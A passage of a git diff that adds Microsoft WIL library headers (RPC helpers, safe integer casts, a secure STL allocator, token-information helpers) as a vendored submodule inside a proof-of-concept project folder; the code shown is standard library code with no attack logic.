hr = wil::invoke_rpc_nothrow(GetKittenState, binding.get(), L"fluffy", state.put()); + RETURN_IF_FAILED(hr); + ~~~ + */ + template HRESULT invoke_rpc_nothrow(TCall&&... args) WI_NOEXCEPT + { + RpcTryExcept + { + // Note: this helper type can be removed with C++17 enabled via + // 'if constexpr(wistd::is_same_v)' + using result_t = typename wistd::__invoke_of::type; + RETURN_IF_FAILED(details::call_adapter::call(wistd::forward(args)...)); + return S_OK; + } + RpcExcept(RpcExceptionFilter(RpcExceptionCode())) + { + RETURN_HR(details::map_rpc_exception(RpcExceptionCode())); + } + RpcEndExcept + } + + /** Invokes an RPC method, mapping structured exceptions to HRESULTs + Failures encountered by the RPC infrastructure (such as server crashes, authentication + errors, client parameter issues, etc.) are emitted by raising a structured exception from + within the RPC machinery. This method wraps the requested call in the usual RpcTryExcept, + RpcTryCatch, and RpcEndExcept sequence then maps the exceptions to HRESULTs for the usual + flow control machinery to use. + + Some RPC methods return results (such as a state enumeration or other value) directly in + their signature. This adapter writes that result into a caller-provided object then + returns S_OK. + + For example, consider an RPC interface method defined in idl as: + ~~~ + GUID GetKittenId([in, ref, string] const wchar_t* name); + ~~~ + To call this method, use: + ~~~ + wil::unique_rpc_binding binding = // typically gotten elsewhere; + GUID id; + HRESULT hr = wil::invoke_rpc_result_nothrow(id, GetKittenId, binding.get(), L"fluffy"); + RETURN_IF_FAILED(hr); + ~~~ + */ + template HRESULT invoke_rpc_result_nothrow(TResult& result, TCall&&... args) WI_NOEXCEPT + { + RpcTryExcept + { + result = wistd::invoke(wistd::forward(args)...); + return S_OK; + } + RpcExcept(RpcExceptionFilter(RpcExceptionCode())) + { + RETURN_HR(details::map_rpc_exception(RpcExceptionCode())); + } + RpcEndExcept + } + + namespace details + { + // Provides an adapter around calling the context-handle-close method on an + // RPC interface, which itself is an RPC call. + template + struct rpc_closer_t + { + static void Close(TStorage arg) WI_NOEXCEPT + { + LOG_IF_FAILED(invoke_rpc_nothrow(close_fn, &arg)); + } + }; + } + + /** Manages explicit RPC context handles + Explicit RPC context handles are used in many RPC interfaces. Most interfaces with + context handles have an explicit `FooClose([in, out] CONTEXT*)` method that lets + the server close out the context handle. As the close method itself is an RPC call, + it can fail and raise a structured exception. + + This type routes the context-handle-specific `Close` call through the `invoke_rpc_nothrow` + helper, ensuring correct cleanup and lifecycle management. + ~~~ + // Assume the interface has two methods: + // HRESULT OpenFoo([in] handle_t binding, [out] FOO_CONTEXT*); + // HRESULT UseFoo([in] FOO_CONTEXT context; + // void CloseFoo([in, out] PFOO_CONTEXT); + using unique_foo_context = wil::unique_rpc_context_handle; + unique_foo_context context; + RETURN_IF_FAILED(wil::invoke_rpc_nothrow(OpenFoo, m_binding.get(), context.put())); + RETURN_IF_FAILED(wil::invoke_rpc_nothrow(UseFoo, context.get())); + context.reset(); + ~~~ + */ + template + using unique_rpc_context_handle = unique_any::Close), details::rpc_closer_t::Close>; + +#ifdef WIL_ENABLE_EXCEPTIONS + /** Invokes an RPC method, mapping structured exceptions to C++ exceptions + See `wil::invoke_rpc_nothrow` for additional information. Failures during the _call_ + and those returned by the _method_ are mapped to HRESULTs and thrown inside a + wil::ResultException. Using the example RPC method provided above: + ~~~ + wil::unique_midl_ptr state; + wil::invoke_rpc(GetKittenState, binding.get(), L"fluffy", state.put()); + // use 'state' + ~~~ + */ + template void invoke_rpc(TCall&& ... args) + { + THROW_IF_FAILED(invoke_rpc_nothrow(wistd::forward(args)...)); + } + + /** Invokes an RPC method, mapping structured exceptions to C++ exceptions + See `wil::invoke_rpc_result_nothrow` for additional information. Failures during the + _call_ are mapped to HRESULTs and thrown inside a `wil::ResultException`. Using the + example RPC method provided above: + ~~~ + GUID id = wil::invoke_rpc_result(GetKittenId, binding.get()); + // use 'id' + ~~~ + */ + template auto invoke_rpc_result(TCall&& ... args) + { + using result_t = typename wistd::__invoke_of::type; + result_t result{}; + THROW_IF_FAILED(invoke_rpc_result_nothrow(result, wistd::forward(args)...)); + return result; + } +#endif +} + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/safecast.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/safecast.h new file mode 100644 index 00000000..2fb1aef7 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/safecast.h @@ -0,0 +1,369 @@ +//********************************************************* +// +// Copyright (c) Microsoft. All rights reserved. +// This code is licensed under the MIT License. +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +// PARTICULAR PURPOSE AND NONINFRINGEMENT. +// +//********************************************************* +#ifndef __WIL_SAFECAST_INCLUDED +#define __WIL_SAFECAST_INCLUDED + +#include "result_macros.h" +#include +#include "wistd_config.h" +#include "wistd_type_traits.h" + +namespace wil +{ + namespace details + { + // Default error case for undefined conversions in intsafe.h + template constexpr wistd::nullptr_t intsafe_conversion = nullptr; + + // is_known_safe_static_cast_v determines if a conversion is known to be safe or not. Known + // safe conversions can be handled by static_cast, this includes conversions between the same + // type, when the new type is larger than the old type but is not a signed to unsigned + // conversion, and when the two types are the same size and signed/unsigned. All other + // conversions will be assumed to be potentially unsafe, and the conversion must be handled + // by intsafe and checked. + template + constexpr bool is_known_safe_static_cast_v = + (sizeof(NewT) > sizeof(OldT) && !(wistd::is_signed_v && wistd::is_unsigned_v)) || + (sizeof(NewT) == sizeof(OldT) && ((wistd::is_signed_v && wistd::is_signed_v) || (wistd::is_unsigned_v && wistd::is_unsigned_v))); + + // Helper template to determine that NewT and OldT are both integral types. The safe_cast + // operation only supports conversions between integral types. + template + constexpr bool both_integral_v = wistd::is_integral::value && wistd::is_integral::value; + + // Note on native wchar_t (__wchar_t): + // Intsafe.h does not currently handle native wchar_t. When compiling with /Zc:wchar_t-, this is fine as wchar_t is + // typedef'd to unsigned short. However, when compiling with /Zc:wchar_t or wchar_t as a native type, the lack of + // support for native wchar_t in intsafe.h becomes an issue. To work around this, we treat native wchar_t as an + // unsigned short when passing it to intsafe.h, because the two on the Windows platform are the same size and + // share the same range according to MSDN. If the cast is to a native wchar_t, the result from intsafe.h is cast + // to a native wchar_t. + + // Intsafe does not have a defined conversion for native wchar_t + template + constexpr bool neither_native_wchar_v = !wistd::is_same::value && !wistd::is_same::value; + + // Check to see if the cast is a conversion to native wchar_t + template + constexpr bool is_cast_to_wchar_v = wistd::is_same::value && !wistd::is_same::value; + + // Check to see if the cast is a conversion from native wchar_t + template + constexpr bool is_cast_from_wchar_v = !wistd::is_same::value && wistd::is_same::value; + + // Validate the conversion to be performed has a defined mapping to an intsafe conversion + template + constexpr bool is_supported_intsafe_cast_v = intsafe_conversion != nullptr; + + // True when the conversion is between integral types and can be handled by static_cast + template + constexpr bool is_supported_safe_static_cast_v = both_integral_v && is_known_safe_static_cast_v; + + // True when the conversion is between integral types, does not involve native wchar, has + // a mapped intsafe conversion, and is unsafe. + template + constexpr bool is_supported_unsafe_cast_no_wchar_v = + both_integral_v && + !is_known_safe_static_cast_v && + neither_native_wchar_v && + is_supported_intsafe_cast_v; + + // True when the conversion is between integral types, is a cast to native wchar_t, has + // a mapped intsafe conversion, and is unsafe. + template + constexpr bool is_supported_unsafe_cast_to_wchar_v = + both_integral_v && + !is_known_safe_static_cast_v && + is_cast_to_wchar_v && + is_supported_intsafe_cast_v; + + // True when the conversion is between integral types, is a cast from native wchar_t, has + // a mapped intsafe conversion, and is unsafe. + template + constexpr bool is_supported_unsafe_cast_from_wchar_v = + both_integral_v && + !is_known_safe_static_cast_v && + is_cast_from_wchar_v && + is_supported_intsafe_cast_v; + + // True when the conversion is supported and unsafe, and may or may not involve + // native wchar_t. + template + constexpr bool is_supported_unsafe_cast_v = + is_supported_unsafe_cast_no_wchar_v || + is_supported_unsafe_cast_to_wchar_v || + is_supported_unsafe_cast_from_wchar_v; + + // True when T is any one of the primitive types that the variably sized types are defined as. + template + constexpr bool is_potentially_variably_sized_type_v = + wistd::is_same::value || + wistd::is_same::value || + wistd::is_same::value || + wistd::is_same::value || + wistd::is_same::value || + wistd::is_same::value; + + // True when either type is potentialy variably sized (e.g. size_t, ptrdiff_t) + template + constexpr bool is_potentially_variably_sized_cast_v = + is_potentially_variably_sized_type_v || + is_potentially_variably_sized_type_v; + + // Mappings of all conversions defined in intsafe.h to intsafe_conversion + // Note: Uppercase types (UINT, DWORD, SIZE_T, etc) and architecture dependent types resolve + // to the base types. The base types are used since they do not vary based on architecture. + template<> constexpr auto intsafe_conversion<__int64, char> = LongLongToChar; + template<> constexpr auto intsafe_conversion<__int64, int> = LongLongToInt; + template<> constexpr auto intsafe_conversion<__int64, long> = LongLongToLong; + template<> constexpr auto intsafe_conversion<__int64, short> = LongLongToShort; + template<> constexpr auto intsafe_conversion<__int64, signed char> = LongLongToInt8; + template<> constexpr auto intsafe_conversion<__int64, unsigned __int64> = LongLongToULongLong; + template<> constexpr auto intsafe_conversion<__int64, unsigned char> = LongLongToUChar; + template<> constexpr auto intsafe_conversion<__int64, unsigned int> = LongLongToUInt; + template<> constexpr auto intsafe_conversion<__int64, unsigned long> = LongLongToULong; + template<> constexpr auto intsafe_conversion<__int64, unsigned short> = LongLongToUShort; + template<> constexpr auto intsafe_conversion = IntToChar; + template<> constexpr auto intsafe_conversion = IntToShort; + template<> constexpr auto intsafe_conversion = IntToInt8; + template<> constexpr auto intsafe_conversion = IntToULongLong; + template<> constexpr auto intsafe_conversion = IntToUChar; + template<> constexpr auto intsafe_conversion = IntToUInt; + template<> constexpr auto intsafe_conversion = IntToULong; + template<> constexpr auto intsafe_conversion = IntToUShort; + template<> constexpr auto intsafe_conversion = LongToChar; + template<> constexpr auto intsafe_conversion = LongToInt; + template<> constexpr auto intsafe_conversion = LongToShort; + template<> constexpr auto intsafe_conversion = LongToInt8; + template<> constexpr auto intsafe_conversion = LongToULongLong; + template<> constexpr auto intsafe_conversion = LongToUChar; + template<> constexpr auto intsafe_conversion = LongToUInt; + template<> constexpr auto intsafe_conversion = LongToULong; + template<> constexpr auto intsafe_conversion = LongToUShort; + template<> constexpr auto intsafe_conversion = ShortToChar; + template<> constexpr auto intsafe_conversion = ShortToInt8; + template<> constexpr auto intsafe_conversion = ShortToULongLong; + template<> constexpr auto intsafe_conversion = ShortToUChar; + template<> constexpr auto intsafe_conversion = ShortToUInt; + template<> constexpr auto intsafe_conversion = ShortToULong; + template<> constexpr auto intsafe_conversion = ShortToUShort; + template<> constexpr auto intsafe_conversion = Int8ToULongLong; + template<> constexpr auto intsafe_conversion = Int8ToUChar; + template<> constexpr auto intsafe_conversion = Int8ToUInt; + template<> constexpr auto intsafe_conversion = Int8ToULong; + template<> constexpr auto intsafe_conversion = Int8ToUShort; + template<> constexpr auto intsafe_conversion = ULongLongToLongLong; + template<> constexpr auto intsafe_conversion = ULongLongToChar; + template<> constexpr auto intsafe_conversion = ULongLongToInt; + template<> constexpr auto intsafe_conversion = ULongLongToLong; + template<> constexpr auto intsafe_conversion = ULongLongToShort; + template<> constexpr auto intsafe_conversion = ULongLongToInt8; + template<> constexpr auto intsafe_conversion = ULongLongToUChar; + template<> constexpr auto intsafe_conversion = ULongLongToUInt; + template<> constexpr auto intsafe_conversion = ULongLongToULong; + template<> constexpr auto intsafe_conversion = ULongLongToUShort; + template<> constexpr auto intsafe_conversion = UInt8ToChar; + template<> constexpr auto intsafe_conversion = UIntToInt8; + template<> constexpr auto intsafe_conversion = UIntToChar; + template<> constexpr auto intsafe_conversion = UIntToInt; + template<> constexpr auto intsafe_conversion = UIntToLong; + template<> constexpr auto intsafe_conversion = UIntToShort; + template<> constexpr auto intsafe_conversion = UIntToInt8; + template<> constexpr auto intsafe_conversion = UIntToUChar; + template<> constexpr auto intsafe_conversion = UIntToUShort; + template<> constexpr auto intsafe_conversion = ULongToChar; + template<> constexpr auto intsafe_conversion = ULongToInt; + template<> constexpr auto intsafe_conversion = ULongToLong; + template<> constexpr auto intsafe_conversion = ULongToShort; + template<> constexpr auto intsafe_conversion = ULongToInt8; + template<> constexpr auto intsafe_conversion = ULongToUChar; + template<> constexpr auto intsafe_conversion = ULongToUInt; + template<> constexpr auto intsafe_conversion = ULongToUShort; + template<> constexpr auto intsafe_conversion = UShortToChar; + template<> constexpr auto intsafe_conversion = UShortToShort; + template<> constexpr auto intsafe_conversion = UShortToInt8; + template<> constexpr auto intsafe_conversion = UShortToUChar; + } + + // Unsafe conversion where failure results in fail fast. + template < + typename NewT, + typename OldT, + wistd::enable_if_t, int> = 0 + > + NewT safe_cast_failfast(const OldT var) + { + NewT newVar; + FAIL_FAST_IF_FAILED((details::intsafe_conversion(var, &newVar))); + return newVar; + } + + // Unsafe conversion where failure results in fail fast. + template < + typename NewT, + typename OldT, + wistd::enable_if_t, int> = 0 + > + NewT safe_cast_failfast(const OldT var) + { + NewT newVar; + FAIL_FAST_IF_FAILED((details::intsafe_conversion(static_cast(var), &newVar))); + return newVar; + } + + // Unsafe conversion where failure results in fail fast. + template < + typename NewT, + typename OldT, + wistd::enable_if_t, int> = 0 + > + NewT safe_cast_failfast(const OldT var) + { + unsigned short newVar; + FAIL_FAST_IF_FAILED((details::intsafe_conversion(var, &newVar))); + return static_cast<__wchar_t>(newVar); + } + + // This conversion is always safe, therefore a static_cast is fine. + template < + typename NewT, + typename OldT, + wistd::enable_if_t, int> = 0 + > + NewT safe_cast_failfast(const OldT var) + { + return static_cast(var); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + // Unsafe conversion where failure results in a thrown exception. + template < + typename NewT, + typename OldT, + wistd::enable_if_t, int> = 0 + > + NewT safe_cast(const OldT var) + { + NewT newVar; + THROW_IF_FAILED((details::intsafe_conversion(var, &newVar))); + return newVar; + } + + // Unsafe conversion where failure results in a thrown exception. + template < + typename NewT, + typename OldT, + wistd::enable_if_t, int> = 0 + > + NewT safe_cast(const OldT var) + { + NewT newVar; + THROW_IF_FAILED((details::intsafe_conversion(static_cast(var), &newVar))); + return newVar; + } + + // Unsafe conversion where failure results in a thrown exception. + template < + typename NewT, + typename OldT, + wistd::enable_if_t, int> = 0 + > + NewT safe_cast(const OldT var) + { + unsigned short newVar; + THROW_IF_FAILED((details::intsafe_conversion(var, &newVar))); + return static_cast<__wchar_t>(newVar); + } + + // This conversion is always safe, therefore a static_cast is fine. + template < + typename NewT, + typename OldT, + wistd::enable_if_t, int> = 0 + > + NewT safe_cast(const OldT var) + { + return static_cast(var); + } +#endif + + // This conversion is unsafe, therefore the two parameter version of safe_cast_nothrow must be used + template < + typename NewT, + typename OldT, + wistd::enable_if_t, int> = 0 + > + NewT safe_cast_nothrow(const OldT /*var*/) + { + static_assert(!wistd::is_same_v, "This cast has the potential to fail, use the two parameter safe_cast_nothrow instead"); + } + + // This conversion is always safe, therefore a static_cast is fine. + template < + typename NewT, + typename OldT, + wistd::enable_if_t, int> = 0 + > + NewT safe_cast_nothrow(const OldT var) + { + return static_cast(var); + } + + // Unsafe conversion where an HRESULT is returned. It is up to the callee to check and handle the HRESULT + template < + typename NewT, + typename OldT, + wistd::enable_if_t, int> = 0 + > + HRESULT safe_cast_nothrow(const OldT var, NewT* newTResult) + { + return details::intsafe_conversion(var, newTResult); + } + + // Unsafe conversion where an HRESULT is returned. It is up to the callee to check and handle the HRESULT + template < + typename NewT, + typename OldT, + wistd::enable_if_t, int> = 0 + > + HRESULT safe_cast_nothrow(const OldT var, NewT* newTResult) + { + return details::intsafe_conversion(static_cast(var), newTResult); + } + + // Unsafe conversion where an HRESULT is returned. It is up to the callee to check and handle the HRESULT + template < + typename NewT, + typename OldT, + wistd::enable_if_t, int> = 0 + > + HRESULT safe_cast_nothrow(const OldT var, NewT* newTResult) + { + return details::intsafe_conversion(var, reinterpret_cast(newTResult)); + } + + // This conversion is always safe, therefore a static_cast is fine. If it can be determined the conversion + // does not involve a variably sized type, then the compilation will fail and say the single parameter version + // of safe_cast_nothrow should be used instead. + template < + typename NewT, + typename OldT, + wistd::enable_if_t, int> = 0 + > + HRESULT safe_cast_nothrow(const OldT var, NewT* newTResult) + { + static_assert(details::is_potentially_variably_sized_cast_v, "This cast is always safe; use safe_cast_nothrow(value) to avoid unnecessary error handling."); + *newTResult = static_cast(var); + return S_OK; + } +} + +#endif // __WIL_SAFECAST_INCLUDED diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/stl.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/stl.h new file mode 100644 index 00000000..f34deab8 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/stl.h @@ -0,0 +1,116 @@ +//********************************************************* +// +// Copyright (c) Microsoft. All rights reserved. +// This code is licensed under the MIT License. +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +// PARTICULAR PURPOSE AND NONINFRINGEMENT. +// +//********************************************************* +#ifndef __WIL_STL_INCLUDED +#define __WIL_STL_INCLUDED + +#include "common.h" +#include "resource.h" +#include +#include +#include + +#if defined(WIL_ENABLE_EXCEPTIONS) + +namespace wil +{ + /** Secure allocator for STL containers. + The `wil::secure_allocator` allocator calls `SecureZeroMemory` before deallocating + memory. This provides a mechanism for secure STL containers such as `wil::secure_vector`, + `wil::secure_string`, and `wil::secure_wstring`. */ + template + struct secure_allocator + : public std::allocator + { + template + struct rebind + { + typedef secure_allocator other; + }; + + secure_allocator() + : std::allocator() + { + } + + ~secure_allocator() = default; + + secure_allocator(const secure_allocator& a) + : std::allocator(a) + { + } + + template + secure_allocator(const secure_allocator& a) + : std::allocator(a) + { + } + + T* allocate(size_t n) + { + return std::allocator::allocate(n); + } + + void deallocate(T* p, size_t n) + { + SecureZeroMemory(p, sizeof(T) * n); + std::allocator::deallocate(p, n); + } + }; + + //! `wil::secure_vector` will be securely zeroed before deallocation. + template + using secure_vector = std::vector>; + //! `wil::secure_wstring` will be securely zeroed before deallocation. + using secure_wstring = std::basic_string, wil::secure_allocator>; + //! `wil::secure_string` will be securely zeroed before deallocation. + using secure_string = std::basic_string, wil::secure_allocator>; + + /// @cond + namespace details + { + template<> struct string_maker + { + HRESULT make(_In_reads_opt_(length) PCWSTR source, size_t length) WI_NOEXCEPT try + { + m_value = source ? std::wstring(source, length) : std::wstring(length, L'\0'); + return S_OK; + } + catch (...) + { + return E_OUTOFMEMORY; + } + + wchar_t* buffer() { return &m_value[0]; } + + HRESULT trim_at_existing_null(size_t length) { m_value.erase(length); return S_OK; } + + std::wstring release() { return std::wstring(std::move(m_value)); } + + static PCWSTR get(const std::wstring& value) { return value.c_str(); } + + private: + std::wstring m_value; + }; + } + /// @endcond + + // str_raw_ptr is an overloaded function that retrieves a const pointer to the first character in a string's buffer. + // This is the overload for std::wstring. Other overloads available in resource.h. + inline PCWSTR str_raw_ptr(const std::wstring& str) + { + return str.c_str(); + } + +} // namespace wil + +#endif // WIL_ENABLE_EXCEPTIONS + +#endif // __WIL_STL_INCLUDED diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/token_helpers.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/token_helpers.h new file mode 100644 index 00000000..37baa621 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/token_helpers.h @@ -0,0 +1,601 @@ +//********************************************************* +// +// Copyright (c) Microsoft. All rights reserved. +// This code is licensed under the MIT License. +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +// PARTICULAR PURPOSE AND NONINFRINGEMENT. +// +//********************************************************* +#ifndef __WIL_TOKEN_HELPERS_INCLUDED +#define __WIL_TOKEN_HELPERS_INCLUDED + +#ifdef _KERNEL_MODE +#error This header is not supported in kernel-mode. +#endif + +#include "resource.h" +#include +#include // for UNLEN and DNLEN +#include + +// for GetUserNameEx() +#define SECURITY_WIN32 +#include + +namespace wil +{ + /// @cond + namespace details + { + // Template specialization for TOKEN_INFORMATION_CLASS, add more mappings here as needed + // TODO: The mapping should be reversed to be MapTokenInfoClassToStruct since there may + // be an info class value that uses the same structure. That is the case for the file + // system information. + template struct MapTokenStructToInfoClass; + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenAccessInformation; static const bool FixedSize = false; }; + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenAppContainerSid; static const bool FixedSize = false; }; + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenDefaultDacl; static const bool FixedSize = false; }; + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenGroupsAndPrivileges; static const bool FixedSize = false; }; + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenIntegrityLevel; static const bool FixedSize = false; }; + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenOwner; static const bool FixedSize = false; }; + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenPrimaryGroup; static const bool FixedSize = false; }; + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenPrivileges; static const bool FixedSize = false; }; + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenUser; static const bool FixedSize = false; }; + + // fixed size cases + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenElevationType; static const bool FixedSize = true; }; + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenMandatoryPolicy; static const bool FixedSize = true; }; + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenOrigin; static const bool FixedSize = true; }; + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenSource; static const bool FixedSize = true; }; + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenStatistics; static const bool FixedSize = true; }; + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenType; static const bool FixedSize = true; }; + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenImpersonationLevel; static const bool FixedSize = true; }; + template<> struct MapTokenStructToInfoClass { static const TOKEN_INFORMATION_CLASS infoClass = TokenElevation; static const bool FixedSize = true; }; + } + /// @endcond + + enum class OpenThreadTokenAs + { + Current, + Self + }; + + /** Open the active token. + Opens either the current thread token (if impersonating) or the current process token. Returns a token the caller + can use with methods like get_token_information<> below. By default, the token is opened for TOKEN_QUERY and as the + effective user. + + Consider using GetCurrentThreadEffectiveToken() instead of this method when eventually calling get_token_information. + This method returns a real handle to the effective token, but GetCurrentThreadEffectiveToken() is a Pseudo-handle + and much easier to manage. + ~~~~ + wil::unique_handle theToken; + RETURN_IF_FAILED(wil::open_current_access_token_nothrow(&theToken)); + ~~~~ + Callers who want more access to the token (such as to duplicate or modify the token) can pass + any mask of the token rights. + ~~~~ + wil::unique_handle theToken; + RETURN_IF_FAILED(wil::open_current_access_token_nothrow(&theToken, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES)); + ~~~~ + Services impersonating their clients may need to request that the active token is opened on the + behalf of the service process to perform certain operations. Opening a token for impersonation access + or privilege-adjustment are examples of uses. + ~~~~ + wil::unique_handle callerToken; + RETURN_IF_FAILED(wil::open_current_access_token_nothrow(&theToken, TOKEN_QUERY | TOKEN_IMPERSONATE, true)); + ~~~~ + @param tokenHandle Receives the token opened during the operation. Must be CloseHandle'd by the caller, or + (preferably) stored in a wil::unique_handle + @param access Bits from the TOKEN_* access mask which are passed to OpenThreadToken/OpenProcessToken + @param asSelf When true, and if the thread is impersonating, the thread token is opened using the + process token's rights. + */ + inline HRESULT open_current_access_token_nothrow(_Out_ HANDLE* tokenHandle, unsigned long access = TOKEN_QUERY, OpenThreadTokenAs openAs = OpenThreadTokenAs::Current) + { + HRESULT hr = (OpenThreadToken(GetCurrentThread(), access, (openAs == OpenThreadTokenAs::Self), tokenHandle) ? S_OK : HRESULT_FROM_WIN32(::GetLastError())); + if (hr == HRESULT_FROM_WIN32(ERROR_NO_TOKEN)) + { + hr = (OpenProcessToken(GetCurrentProcess(), access, tokenHandle) ? S_OK : HRESULT_FROM_WIN32(::GetLastError())); + } + return hr; + } + + //! Current thread or process token, consider using GetCurrentThreadEffectiveToken() instead. + inline wil::unique_handle open_current_access_token_failfast(unsigned long access = TOKEN_QUERY, OpenThreadTokenAs openAs = OpenThreadTokenAs::Current) + { + HANDLE rawTokenHandle; + FAIL_FAST_IF_FAILED(open_current_access_token_nothrow(&rawTokenHandle, access, openAs)); + return wil::unique_handle(rawTokenHandle); + } + +// Exception based function to open current thread/process access token and acquire pointer to it +#ifdef WIL_ENABLE_EXCEPTIONS + //! Current thread or process token, consider using GetCurrentThreadEffectiveToken() instead. + inline wil::unique_handle open_current_access_token(unsigned long access = TOKEN_QUERY, OpenThreadTokenAs openAs = OpenThreadTokenAs::Current) + { + HANDLE rawTokenHandle; + THROW_IF_FAILED(open_current_access_token_nothrow(&rawTokenHandle, access, openAs)); + return wil::unique_handle(rawTokenHandle); + } +#endif // WIL_ENABLE_EXCEPTIONS + +#if (_WIN32_WINNT >= _WIN32_WINNT_WIN8) + // Returns tokenHandle or the effective thread token if tokenHandle is null. + // Note, this returns an token handle who's lifetime is managed independently + // and it may be a pseudo token, don't free it! + inline HANDLE GetCurrentThreadEffectiveTokenWithOverride(HANDLE tokenHandle) + { + return tokenHandle ? tokenHandle : GetCurrentThreadEffectiveToken(); + } + + /** Fetches information about a token. + See GetTokenInformation on MSDN for what this method can return. For variable sized structs the information + is returned to the caller as a wistd::unique_ptr (like TOKEN_ORIGIN, TOKEN_USER, TOKEN_ELEVATION, etc.). For + fixed sized, the struct is returned directly. + The caller must have access to read the information from the provided token. This method works with both real + (e.g. OpenCurrentAccessToken) and pseudo (e.g. GetCurrentThreadToken) token handles. + ~~~~ + // Retrieve the TOKEN_USER structure for the current process + wistd::unique_ptr user; + RETURN_IF_FAILED(wil::get_token_information_nothrow(user, GetCurrentProcessToken())); + RETURN_IF_FAILED(ConsumeSid(user->User.Sid)); + ~~~~ + Not specifying the token handle is the same as specifying 'nullptr' and retrieves information about the effective token. + ~~~~ + wistd::unique_ptr privileges; + RETURN_IF_FAILED(wil::get_token_information_nothrow(privileges)); + for (auto const& privilege : wil::GetRange(privileges->Privileges, privileges->PrivilegeCount)) + { + RETURN_IF_FAILED(ConsumePrivilege(privilege)); + } + ~~~~ + @param tokenInfo Receives a pointer to a structure containing the results of GetTokenInformation for the requested + type. The type of selects which TOKEN_INFORMATION_CLASS will be used. + @param tokenHandle Specifies which token will be queried. When nullptr, the thread's effective current token is used. + @return S_OK on success, a FAILED hresult containing the win32 error from querying the token otherwise. + */ + + template ::FixedSize>* = nullptr> + inline HRESULT get_token_information_nothrow(wistd::unique_ptr& tokenInfo, HANDLE tokenHandle = nullptr) + { + tokenInfo.reset(); + tokenHandle = GetCurrentThreadEffectiveTokenWithOverride(tokenHandle); + + DWORD tokenInfoSize = 0; + const auto infoClass = details::MapTokenStructToInfoClass::infoClass; + RETURN_LAST_ERROR_IF(!((!GetTokenInformation(tokenHandle, infoClass, nullptr, 0, &tokenInfoSize)) && + (::GetLastError() == ERROR_INSUFFICIENT_BUFFER))); + wistd::unique_ptr tokenInfoClose( + static_cast(operator new(tokenInfoSize, std::nothrow))); + RETURN_IF_NULL_ALLOC(tokenInfoClose.get()); + RETURN_IF_WIN32_BOOL_FALSE(GetTokenInformation(tokenHandle, infoClass, tokenInfoClose.get(), tokenInfoSize, &tokenInfoSize)); + tokenInfo.reset(reinterpret_cast(tokenInfoClose.release())); + + return S_OK; + } + + template ::FixedSize>* = nullptr> + inline HRESULT get_token_information_nothrow(_Out_ T* tokenInfo, HANDLE tokenHandle = nullptr) + { + *tokenInfo = {}; + tokenHandle = GetCurrentThreadEffectiveTokenWithOverride(tokenHandle); + + DWORD tokenInfoSize = sizeof(T); + const auto infoClass = details::MapTokenStructToInfoClass::infoClass; + RETURN_IF_WIN32_BOOL_FALSE(GetTokenInformation(tokenHandle, infoClass, tokenInfo, tokenInfoSize, &tokenInfoSize)); + + return S_OK; + } + + namespace details + { + template::FixedSize>* = nullptr> + wistd::unique_ptr GetTokenInfoWrap(HANDLE token = nullptr) + { + wistd::unique_ptr temp; + policy::HResult(get_token_information_nothrow(temp, token)); + return temp; + } + + template::FixedSize>* = nullptr> + T GetTokenInfoWrap(HANDLE token = nullptr) + { + T temp{}; + policy::HResult(get_token_information_nothrow(&temp, token)); + return temp; + } + } + + //! A variant of get_token_information that fails-fast on errors retrieving the token + template + inline auto get_token_information_failfast(HANDLE token = nullptr) + { + return details::GetTokenInfoWrap(token); + } + + //! Overload of GetTokenInformationNoThrow that retrieves a token linked from the provided token + inline HRESULT get_token_information_nothrow(unique_token_linked_token& tokenInfo, HANDLE tokenHandle = nullptr) + { + static_assert(sizeof(tokenInfo) == sizeof(TOKEN_LINKED_TOKEN), "confusing size mismatch"); + tokenHandle = GetCurrentThreadEffectiveTokenWithOverride(tokenHandle); + + DWORD tokenInfoSize = 0; + RETURN_IF_WIN32_BOOL_FALSE(::GetTokenInformation(tokenHandle, TokenLinkedToken, + tokenInfo.reset_and_addressof(), 